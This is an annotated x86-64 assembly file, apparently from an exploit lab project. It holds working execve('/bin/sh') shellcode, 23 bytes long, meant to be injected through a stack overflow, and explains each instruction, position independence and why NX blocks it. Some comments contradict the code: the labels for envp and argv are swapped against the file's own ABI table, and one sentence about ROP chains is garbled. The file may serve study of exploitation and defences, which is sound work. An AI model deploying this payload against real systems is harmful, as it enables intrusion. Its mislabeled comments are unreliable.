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shellcode.S
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shellcode.S
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; ===========================================================================
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; shellcode.S -- the reference version of the 23 bytes embedded in fooc.c
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; ===========================================================================
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;
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; This file exists for ONE reason: to let you prove that the `SHELLCODE[]`
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; array in fooc.c is exactly the machine code you would get from assembling
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; these instructions. It is not used by the exploit, which carries the bytes
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; inline so it has no runtime dependency on nasm.
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;
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; make verify-shellcode assembles this and diffs it against fooc.c
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;
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; WHAT IT DOES
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; ------------
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; execve("/bin/sh", argv = NULL, envp = NULL)
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;
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; ... and that is the whole payload. There is no loop, no decoder, no
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; egg-hunter: 23 bytes that turn the process into a shell.
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;
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; THE ABI
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; -------
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; The System V AMD64 calling convention, and the kernel's syscall convention,
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; agree on the register layout, which is why one sequence serves both:
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;
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; rdi 1st argument -> the pathname
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; rsi 2nd argument -> argv
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; rdx 3rd argument -> envp
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; rax syscall number -> 59 = execve
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;
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; Passing argv = NULL makes the kernel synthesise argv[0] from the pathname,
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; and envp = NULL gives the new program an empty environment. The shell runs
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; fine, but with no PATH, so `id` and `uname` work and bare `vi` does not --
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; a small detail that surprises people, and the reason fooc's own local shell
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; uses execv() with a real environment instead.
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;
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; ASSEMBLY NOTES
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; --------------
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; * `mov rdi, 0x68732f6e69622f` needs the REX.W prefix and a 64-bit
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; immediate, so it is spelled `movabs` in AT&T syntax (or `mov r64,
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; imm64` in Intel syntax). The immediate is the eight ASCII bytes
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; "/bin/sh\0" read as a little-endian 64-bit number -- the NUL comes free
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; because it is the high byte of the little-endian representation, which is
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; the top of the string.
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;
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; * We `push rdi` rather than putting the string in a `.data` section
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; because the payload must be position independent: it will sit at whatever
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; address the target's stack (or, in a ROP chain, wherever the attacker
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; chose) happens to be. RIP-relative addressing would break, `push` will
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; not.
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;
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; * `push 0x3b; pop rax` is the idiomatic 2-byte way to load a small syscall
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; number. `mov eax, 0x3b` is 5 bytes, which matters in a payload.
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;
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; * There is no `ret` at the end. execve replaces the process image and never
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; returns, so anything after `syscall` is dead code. The shell you get never
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; runs our bytes again -- which is why the parent process's stack, and
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; therefore the corrupted return address, is irrelevant once this fires.
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;
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; WHY THIS IS THE THING NX BIT EXISTS TO STOP
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; -------------------------------------------
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; These bytes must land on an executable page. The stack normally is not, so
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; on any modern system the CPU raises SIGSEGV the moment `ret` transfers control
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; into the payload. That single hardware feature is why real-world ROP chains
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; look like this file and not like this file: with NX on, the attacker reuses
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; code that already exists in the binary or in libc. See README.md.
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; ===========================================================================
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BITS 64
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; section .text -- mark it executable, the default, so `nasm -f bin` emits
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; the instruction bytes with no ELF wrapper around them.
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section .text
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; ---------------------------------------------------------------------------
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; xor esi, esi
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; rsi = 0 -> envp = NULL
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;
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; Zeroing with xor instead of `mov esi, 0` is two bytes shorter (2 vs 5) and
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; the classic x86 idiom for producing a zero without a memory operand. It
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; also has a side effect: the zeroing flag form skips the dependency-breaking
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; trick some old CPUs needed, which no longer matters.
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; ---------------------------------------------------------------------------
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xor esi, esi
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; ---------------------------------------------------------------------------
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; xor edx, edx
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; rdx = 0 -> argv = NULL
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; ---------------------------------------------------------------------------
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xor edx, edx
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; ---------------------------------------------------------------------------
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; movabs rdi, 0x68732f6e69622f
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; rdi = the 8 bytes 2f 62 69 6e 2f 73 68 00, i.e. "/bin/sh\0"
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;
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; Read the immediate right-to-left as bytes and it spells the string out.
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; That packing is the whole trick: eight bytes of payload in a ten-byte
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; instruction, no data section, no relocation, no alignment padding.
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; ---------------------------------------------------------------------------
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movabs rdi, 0x68732f6e69622f
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; ---------------------------------------------------------------------------
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; push rdi
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; Put those eight bytes on the stack, where a string has to live so that a
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; register can point at it. The stack is writable and is at a known
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; (attacker-chosen) address, so this is the position-independent way to
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; materialise a string constant.
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; ---------------------------------------------------------------------------
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push rdi
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; ---------------------------------------------------------------------------
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; mov rdi, rsp
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; rdi = the address of the string we just pushed = argv[0] as well as the
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; pathname. Reusing one buffer for both is legal; the kernel only reads the
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; pathname before it sets up the new stack, and by then argv[0] is copied.
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; ---------------------------------------------------------------------------
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mov rdi, rsp
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; ---------------------------------------------------------------------------
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; push 0x3b
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; pop rax
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; rax = 59 = the __NR_execve slot in the x86-64 syscall table.
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;
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; Syscall numbers are part of the kernel ABI and are frozen: 0 = read,
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; 1 = write, 2 = open, ..., 59 = execve. They are not sequential by function,
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; they are fixed by history, which is why they are also a handy way for an
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; analyst to recognise a payload.
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; ---------------------------------------------------------------------------
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push 0x3b
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pop rax
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; ---------------------------------------------------------------------------
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; syscall
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; Trap into the kernel. On return, either we are a shell (success) or we
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; are handed a -errno in rax and fall off the end of the payload (failure).
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; ---------------------------------------------------------------------------
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syscall
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; Note what is NOT here:
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; * no `ret` -- execve does not return.
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; * no `nop` sled -- we jump straight to the first byte.
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; * no `jmp $+N` -- nothing to reach.
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